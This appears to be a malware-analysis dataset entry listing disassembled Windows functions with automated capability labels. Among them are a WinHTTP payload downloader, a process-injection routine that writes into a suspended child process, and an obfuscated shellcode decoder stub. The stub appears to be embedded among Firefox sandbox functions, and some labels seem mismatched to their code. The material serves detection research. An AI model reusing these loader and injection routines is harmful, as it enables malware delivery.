joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x142c
call fcn.00402bb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xc
mov edi, ecx
call fcn.00401e7a
mov ebx, dword [sym.imp.VCRUNTIME140.dll_wcsstr]
add esp, 4
mov esi, eax
push 0x4034a8
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push edi
mov dword [ebp - 0x1420], 0
call ebx
lea ecx, [ebp - 0x418]
add eax, 4
push ecx
lea ecx, [ebp - 0x1420]
push ecx
lea ecx, [ebp - 0x210]
push ecx
push str.__:_:_d_s
push eax
call fcn.00401060
add esp, 0x1c
cmp eax, 3
je 0x4012be
push 0x4034a8
push edi
call ebx
lea ecx, [ebp - 0x418]
add eax, 4
push ecx
lea ecx, [ebp - 0x210]
push ecx
push str._____s
push eax
call fcn.00401060
add esp, 0x18
cmp eax, 2
jne 0x40142a
push str.https
push edi
call ebx
add esp, 8
neg eax
sbb eax, eax
and eax, 0x16b
add eax, 0x50
mov dword [ebp - 0x1420], eax
jmp 0x4012c4
mov eax, dword [ebp - 0x1420]
lea ecx, [ebp - 0x418]
push ecx
push eax
lea eax, [ebp - 0x210]
push eax
push str._v__send_request_____s:_i__Path___s__n
call fcn.00401020
add esp, 0x10
push 0
push 0
push 0
push 0
push str.WinHTTP_Example_1.0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push dword [ebp - 0x1420]
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x1428], eax
push ecx
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x1424], eax
push ecx
push 0x403548
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, eax
test ebx, ebx
je 0x40142a
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x40142a
push 0
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x40142a
push 0x1000
lea eax, [ebp - 0x1418]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x141c], 0x1000
nop word [eax + eax]
lea eax, [ebp - 0x141c]
push eax
push 0x1000
lea eax, [ebp - 0x1418]
push eax
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x40142a
mov eax, dword [ebp - 0x141c]
xor edi, edi
test eax, eax
je 0x4013ed
nop word [eax + eax]
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x1418]
add eax, edi
cmp ecx, dword [esi + 8]
je 0x4013d9
mov al, byte [eax]
mov byte [ecx], al
inc dword [esi + 4]
jmp 0x4013e2
push eax
push ecx
mov ecx, esi
call fcn.00401d10
mov eax, dword [ebp - 0x141c]
inc edi
cmp edi, eax
jb 0x4013c0
cmp eax, 0x1000
je 0x401390
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push ebx
call edi
mov eax, dword [ebp - 0x1424]
test eax, eax
je 0x40140a
push eax
call edi
mov eax, dword [ebp - 0x1428]
test eax, eax
je 0x401417
push eax
call edi
mov eax, dword [esi + 4]
sub eax, dword [esi]
push eax
push str._v__recv_payload__size___i__done._n
call fcn.00401020
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401e6c
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x548
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x264]
push esi
push edi
push 0x44
xorps xmm0, xmm0
mov dword [ebp - 0x218], edx
push 0
push eax
mov esi, ecx
movups xmmword [ebp - 0x548], xmm0
call sub.VCRUNTIME140.dll_memset
push 0x2c8
lea eax, [ebp - 0x530]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x548]
mov ecx, 0x82
lea edi, [ebp - 0x214]
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 0x264]
push eax
push 0
push 0
push 0x4000
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0x40
push 0x3000
push ebx
push 0
push dword [ebp - 0x548]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push ebx
push dword [ebp - 0x218]
mov dword [ebp - 0x538], eax
push eax
push dword [ebp - 0x548]
call esi
lea eax, [ebp - 0x534]
mov dword [ebp - 0x534], 0x10007
push eax
push dword [ebp - 0x544]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [ebp - 0x218]
mov dword [ebp - 0x218], 0
push eax
mov eax, dword [ebp - 0x490]
add eax, 0x2488
push eax
push dword [ebp - 0x548]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 4
lea eax, [ebp - 0x538]
push eax
mov eax, dword [ebp - 0x218]
add eax, 0xbc
push eax
push dword [ebp - 0x548]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x548]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 8]
pop edi
pop esi
pop ebx
xor ecx, ebp
call fcn.00401e6c
mov esp, ebp
pop ebp
ret
Function at 0x402709
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402748
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402748
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402748
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402748
cmp dword [ecx + 0x74], 0xe
jbe 0x402748
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401080
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x140c
call fcn.00418320
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x438020]
cmp eax, 0xffffffff
jne 0x4010b9
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417da0
add esp, 0x140c
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
test bl, 3
je 0x4010a4
and ebx, 0xfffffffc
lea eax, [ebp - 0x810]
push 0x800
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, dword [0x438020]
lea eax, [ebp - 0x80f]
push eax
mov dword [ebp - 0x1418], ecx
push ecx
call dword [sym.imp.kernel32.dll_TlsSetValue]
test ebx, ebx
je 0x401106
push ebx
call sub.mozglue.dll_void___cdecl_operator_delete___void__
add esp, 4
call fcn.00418400
mov esi, eax
push eax
call dword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
lea eax, [ebp - 0x1410]
push 0xc00
push 0x438490
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov ecx, 0x100
mov al, 1
lea edx, [ebp - 0x1408]
test al, 1
je 0x401192
mov dword [ebp - 0x1414], ecx
xor eax, eax
mov esi, edx
xor ebx, ebx
mov edi, dword [ebp + ebx*8 - 0x810]
test edi, edi
jne 0x40116a
inc ebx
add esi, 0xc
cmp ebx, 0x100
jne 0x401151
jmp 0x401184
cmp dword [esi - 8], 0
je 0x40115c
mov ecx, dword [ebp + ebx*8 - 0x80c]
cmp ecx, dword [esi]
jne 0x40115c
mov ecx, dword [esi - 4]
test ecx, ecx
je 0x40115c
jmp 0x4011a5
mov esi, dword [ebp - 0x1414]
lea ecx, [esi - 1]
cmp esi, 2
jae 0x401141
push 2
push dword [ebp - 0x1418]
call dword [sym.imp.kernel32.dll_TlsSetValue]
jmp 0x4010a4
mov dword [ebp + ebx*8 - 0x810], 0
call dword [section..00cfg]
push edi
call ecx
lea edx, [ebp - 0x1408]
add esp, 4
mov al, 1
jmp 0x40115c
Function at 0x4016a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov edi, dword [ebp + 8]
cmp dword [ecx], edi
je 0x401706
mov esi, ecx
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
inc eax
cmp eax, 2
jae 0x401710
lea eax, [edi + 1]
cmp eax, 2
jb 0x4016fd
mov dword [esi], edi
call fcn.00401780
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x14], eax
call fcn.00401790
mov edi, eax
mov eax, dword [eax]
mov ebx, dword [eax + 4]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, edi
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push esi
push dword [ebp + 8]
call ebx
push dword [ebp - 0x1c]
call dword [sym.imp.kernel32.dll_SetLastError]
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret 4
call fcn.00401780
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
call fcn.00401790
mov ebx, eax
mov eax, dword [eax]
mov edi, dword [eax + 8]
mov ecx, edi
call dword [section..00cfg]
mov ecx, ebx
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push esi
push dword [ebp - 0x10]
call edi
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
call fcn.00401790
mov edi, eax
mov eax, dword [eax]
mov ebx, dword [eax]
mov ecx, ebx
call dword [section..00cfg]
mov ecx, edi
mov edi, dword [ebp + 8]
push dword [ebp - 0x10]
call ebx
mov dword [esi], 0
jmp 0x4016c3

Function at 0x405e80
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
test byte [ebp + 0xc], 0x40
je 0x405f0d
lea esi, [ebp - 0x14]
push 4
push esi
call sub.advapi32.dll_SystemFunction036
mov edi, dword [esi]
shl edi, 0xa
and edi, 0xff0000
add edi, 0x80000
xor ebx, ebx
push 0x1c
lea eax, [ebp - 0x30]
push eax
push ebx
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualQueryEx]
test eax, eax
je 0x405f0d
mov eax, edi
sub eax, ebx
mov esi, dword [ebp - 0x24]
mov ecx, 0xffff
add esi, ecx
and esi, 0xffff0000
cmp eax, esi
cmovb esi, eax
test ebx, ebx
je 0x405ef1
cmp dword [ebp - 0x20], 0x10000
je 0x405ef9
add ebx, esi
cmp ebx, edi
jb 0x405eb7
jmp 0x405f0d
push 1
push 0x2000
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
jmp 0x405ef1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417da0
mov al, 1
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x408d20
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
cmp byte [ecx + 0x38], 0
je 0x408e55
lea esi, [ebp - 0x54]
mov dword [esi], 0
push esi
push 2
mov dword [ebp - 0x60], ecx
push dword [ecx + 0x30]
call fcn.00409050
add esp, 0xc
mov ecx, dword [esi]
test eax, eax
mov dword [ebp - 0x58], ecx
jne 0x408e5e
mov dword [ebp - 0x5c], 0
test ecx, ecx
je 0x408e3e
cmp dword [ecx], 0
je 0x408e35
mov eax, dword [ebp - 0x60]
add eax, 0x18
mov dword [ebp - 0x64], eax
xor edi, edi
test dword [ecx + edi*8 + 8], 0xc0000020
jne 0x408de4
cmp dword [ebp + 8], 0
je 0x408da1
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
cmp dword [ecx + 4], eax
jne 0x408dee
mov eax, dword [ebp - 0x58]
mov eax, dword [eax + edi*8 + 4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x44], xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x14], 0
push eax
lea ebx, [ebp - 0x54]
push ebx
push 0x44
call dword [sym.imp.advapi32.dll_CopySid]
mov esi, dword [ebp - 0x60]
mov eax, dword [esi + 0x1c]
cmp eax, dword [esi + 0x20]
jne 0x408e23
mov ecx, dword [ebp - 0x64]
push ebx
push eax
call fcn.00408e70
inc edi
mov ecx, dword [ebp - 0x58]
cmp edi, dword [ecx]
jb 0x408d87
jmp 0x408e35
xor esi, esi
xor ebx, ebx
add eax, esi
mov ecx, dword [ebp - 0x58]
push dword [ecx + edi*8 + 4]
push eax
call dword [sym.imp.advapi32.dll_EqualSid]
test eax, eax
jne 0x408de4
inc ebx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
sub ecx, eax
sar ecx, 2
imul ecx, ecx, 0xf0f0f0f1
add esi, 0x44
cmp ebx, ecx
jae 0x408da1
jmp 0x408df2
push 0x44
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add dword [esi + 0x1c], 0x44
jmp 0x408de4
push ecx
call sub.mozglue.dll_void___cdecl_operator_delete___void__
add esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417da0
mov eax, dword [ebp - 0x5c]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov dword [ebp - 0x5c], 0x3f0
jmp 0x408e3e
mov dword [ebp - 0x5c], eax
test ecx, ecx
je 0x408e3e
push dword [ebp - 0x58]
jmp 0x408e36
Function at 0x40fba0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov esi, ecx
mov edi, dword [ebp + 8]
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ecx], edx
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 2
lea eax, [ecx + 0x10]
mov dword [ecx + 4], eax
mov eax, dword [0x4380f8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov ecx, dword [0x4393b8]
cmp ecx, dword [eax + 4]
jg 0x40fc67
mov ebx, dword [0x4393b4]
mov eax, dword [ebp + 0xc]
add eax, edi
dec eax
xor edx, edx
div ebx
mov ecx, eax
mov eax, edi
xor edx, edx
div ebx
mov edi, eax
inc ecx
sub ecx, eax
je 0x40fc53
mov eax, ebx
lea edx, [esi + 4]
mov dword [ebp - 0x3c], edx
imul edi, ebx
xor ebx, ebx
inc ebx
cmp ecx, 2
cmovae ebx, ecx
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x40fca5
mov edx, dword [ebp - 0x34]
mov eax, dword [esi + 8]
cmp eax, dword [esi + 0xc]
je 0x40fcb5
mov ecx, dword [esi + 4]
mov dword [ecx + eax*8], edx
mov dword [ecx + eax*8 + 4], edi
inc dword [esi + 8]
mov eax, dword [ebp - 0x40]
add edi, eax
dec ebx
jne 0x40fc21
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417da0
mov eax, esi
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x4393b8
call fcn.00417b36
add esp, 4
cmp dword [0x4393b8], 0xffffffff
jne 0x40fbeb
lea ebx, [ebp - 0x34]
push ebx
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [ebx + 4]
mov dword [0x4393b4], eax
push 0x4393b8
call fcn.00417b36
add esp, 4
jmp 0x40fbeb
mov dword [ebp - 0x34], 0
mov ecx, esi
call fcn.00430520
jmp 0x40fc53
mov dword [ebp - 0x38], edx
mov ecx, dword [ebp - 0x3c]
call fcn.004305e0
test al, al
je 0x40fcac
mov eax, dword [esi + 8]
mov edx, dword [ebp - 0x38]
jmp 0x40fc3e
Function at 0x411960
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc8
mov esi, ecx
mov eax, dword [0x438014]
xor eax, ebp
mov dword [esp + 0xc0], eax
mov eax, dword [0x438020]
cmp eax, 0xffffffff
je 0x411994
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test al, 3
jne 0x411999
call fcn.00411b20
mov eax, dword [0x439094]
mov ecx, dword [0x4380f8]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x4119ee
push 0x439094
call fcn.00417b36
add esp, 4
cmp dword [0x439094], 0xffffffff
jne 0x4119ee
push 4
call sub.mozglue.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [eax], 0
mov dword [0x439090], eax
push 0x439094
call fcn.00417b36
add esp, 4
mov edi, dword [0x439090]
push edi
call dword [sym.imp.kernel32.dll_AcquireSRWLockExclusive]
mov eax, dword [0x43848c]
inc eax
xor ecx, ecx
lea edx, [eax + ecx]
movzx edx, dl
lea ebx, [edx + edx*2]
cmp dword [ebx*4 + 0x438490], 0
jne 0x411a8d
lea eax, [ebx*4 + 0x438490]
mov dword [eax], 1
lea eax, [edx*4]
mov ecx, dword [ebp + 8]
mov dword [eax + eax*2 + 0x438494], ecx
mov dword [0x43848c], edx
mov dword [esi], edx
mov eax, dword [eax + eax*2 + 0x438498]
mov dword [esi + 4], eax
push edi
call dword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
mov eax, dword [esi]
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], eax
cmp eax, 0xffffffff
je 0x411a9c
mov eax, dword [esi]
mov dword [esp + 8], 0x100
mov dword [esp + 4], eax
cmp eax, 0xff
jg 0x411ad6
mov ecx, dword [esp + 0xc0]
xor ecx, ebp
call fcn.00417da0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
inc ecx
cmp ecx, 0x100
jne 0x411a03
jmp 0x411a46
lea eax, [esp + 8]
lea ecx, [esp + 4]
push str.slot____kInvalidSlotValue
push eax
push ecx
call fcn.0041bbf0
add esp, 0xc
test eax, eax
je 0x411a60
lea edi, [esp + 8]
mov ecx, edi
push eax
push 0x196
push str._builds_worker_checkouts_gecko_security_sandbox_chromium_base_threading_thread_local_storage.cc
call fcn.0041b920
mov ecx, edi
call fcn.0041b9b0
jmp 0x411a60
lea eax, [esp + 8]
lea ecx, [esp + 4]
push str.slot____kThreadLocalStorageSize
push eax
push ecx
call fcn.0041bbf0
add esp, 0xc
test eax, eax
je 0x411a75
lea esi, [esp + 8]
mov ecx, esi
push eax
push 0x197
push str._builds_worker_checkouts_gecko_security_sandbox_chromium_base_threading_thread_local_storage.cc
call fcn.0041b920
mov ecx, esi
call fcn.0041b9b0
jmp 0x411a75
Function at 0x413ed0
Capabilities:
Check for software breakpoints
Get system information on windows
Persist via appinit_dlls registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov esi, ecx
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0x10], eax
xor eax, eax
lea ecx, [ebp - 0x14]
mov dword [ecx], eax
push ecx
push eax
push eax
mov dword [ebp - 0x18], edx
push edx
push esi
call dword [sym.imp.advapi32.dll_GetKernelObjectSecurity]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x41406e
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov ebx, dword [edx]
mov eax, dword [edx + 4]
mov edi, eax
sub edi, ebx
mov dword [ebp - 0x1c], ecx
sub ecx, edi
mov dword [ebp - 0x24], esi
jb 0x413fef
mov dword [ebp - 0x20], ecx
jbe 0x413fb7
mov ecx, dword [edx + 8]
sub ecx, ebx
mov ebx, dword [ebp - 0x1c]
cmp ecx, ebx
jae 0x413ff9
test ebx, ebx
js 0x414014
mov esi, ecx
shr esi, 1
mov eax, 0x7fffffff
mov edx, esi
xor edx, eax
add esi, ecx
cmp esi, ebx
cmovbe esi, ebx
cmp ecx, edx
cmova esi, eax
cmp esi, 0x1000
jae 0x414019
push esi
call sub.mozglue.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, eax
add edi, ebx
push dword [ebp - 0x20]
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov ecx, dword [edi + 4]
sub ecx, eax
push ecx
push eax
push ebx
call sub.VCRUNTIME140.dll_memmove
mov eax, edi
add esp, 0xc
mov ecx, dword [edi]
test ecx, ecx
jne 0x414038
mov dword [eax], ebx
mov ecx, dword [ebp - 0x1c]
add ecx, ebx
mov dword [eax + 4], ecx
add esi, ebx
mov dword [eax + 8], esi
mov ecx, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
push edx
push dword [ebp - 0x14]
push ebx
push ecx
push dword [ebp - 0x24]
call dword [sym.imp.advapi32.dll_GetKernelObjectSecurity]
xor ebx, ebx
test eax, eax
je 0x414068
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00417da0
mov eax, ebx
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
add eax, ebx
mov dword [edx + 4], eax
jmp 0x413fb7
mov ecx, dword [ebp - 0x20]
lea esi, [eax + ecx]
push ecx
push 0
push eax
mov edi, edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [edi + 4], esi
mov ebx, dword [edi]
jmp 0x413fb7
call fcn.0041aba0
cmp esi, 0xffffffdd
jae 0x414075
lea eax, [esi + 0x23]
push eax
call sub.mozglue.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x413f77
mov eax, dword [eax + 8]
sub eax, ecx
cmp eax, 0x1000
jb 0x414056
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x41407a
add eax, 0x23
mov ecx, edx
push eax
push ecx
call sub.mozglue.dll_void___cdecl_operator_delete_void___unsigned_int_
add esp, 8
mov eax, dword [ebp + 8]
jmp 0x413fa8
call dword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
jmp 0x413fdb
call fcn.0041b580
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
Function at 0x414d60
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [0x439384]
mov ecx, dword [0x4380f8]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 4]
jle 0x414dc3
push 0x439384
call fcn.00417b36
add esp, 4
cmp dword [0x439384], 0xffffffff
jne 0x414dc3
lea esi, [ebp - 0x2c]
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 0x1c]
mov dword [0x439380], eax
push 0x439384
call fcn.00417b36
add esp, 4
mov esi, dword [0x439380]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00417da0
mov eax, esi
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x417b36
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x417b45
pop dword [ebp - 0x50]
mov eax, 0x2a98dabc
sub eax, 0x2a575f77
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x337e8
push 0
mov eax, 0xa3871bd
sub eax, 0x9f51bf9
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x944755f9
add ecx, 0x6bb8e48f
mov esi, eax
mov edx, 0xe6a5ccb7
sub edx, 0xe661dcb7
add edx, dword [ebp - 0x50]
mov edi, 0xc0f44c1a
sub edi, 0xa2ecc43c
xor dword [ebp - 0x28], 0x85b7fba3
mov ebx, dword [edx]
sub dword [ebp - 0x1c], edx
sub ebx, edi
sub dword [ebp - 0x44], eax
mov dword [esi], ebx
add dword [ebp - 0x10], 0xa6af8707
add esi, 4
add edx, 0x18c91d1f
add edx, 0xe736e2e5
loop 0x417ba4
add eax, 0x54925025
add eax, 0xab6e8cce
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7259ede4
sub ecx, 0x7219ede4
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x41a6e0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x24
mov eax, dword [0x438014]
xor eax, ebp
mov dword [ebp - 0xc], eax
push str.MOZ_ENABLE_HANDLE_VERIFIER
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
test eax, eax
jne 0x41a71a
call fcn.0041a7f0
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00417da0
add esp, 0x24
pop esi
pop edi
pop ebp
ret
movaps xmm0, xmmword [str.kernel32]
lea esi, [ebp - 0x28]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0x64002e
mov dword [esi + 0x14], 0x6c006c
mov word [esi + 0x18], 0
cmp dword [0x439320], 0
jne 0x41a750
push esi
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov dword [0x439320], eax
lea edi, [ebp - 0x2c]
mov dword [edi], 0
mov dword [ebp - 0x28], 0x43936c
mov dword [ebp - 0x24], 0x4392ec
mov dword [ebp - 0x20], 0x432973
mov dword [ebp - 0x1c], 0x42ffe0
mov byte [ebp - 0x18], 0
push edi
push esi
push 0x430040
push 0x439370
call dword [sym.imp.kernel32.dll_InitOnceExecuteOnce]
test eax, eax
je 0x41a704
cmp dword [ebp - 0x2c], 0
je 0x41a704
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0x439374
mov dword [ebp - 0x24], 0x4392ec
mov dword [ebp - 0x20], 0x432963
mov dword [ebp - 0x1c], 0x430000
mov byte [ebp - 0x18], 0
push edi
push esi
push 0x430040
push 0x439378
call dword [sym.imp.kernel32.dll_InitOnceExecuteOnce]
test eax, eax
je 0x41a704
cmp dword [ebp - 0x2c], 0
jne 0x41a709
jmp 0x41a704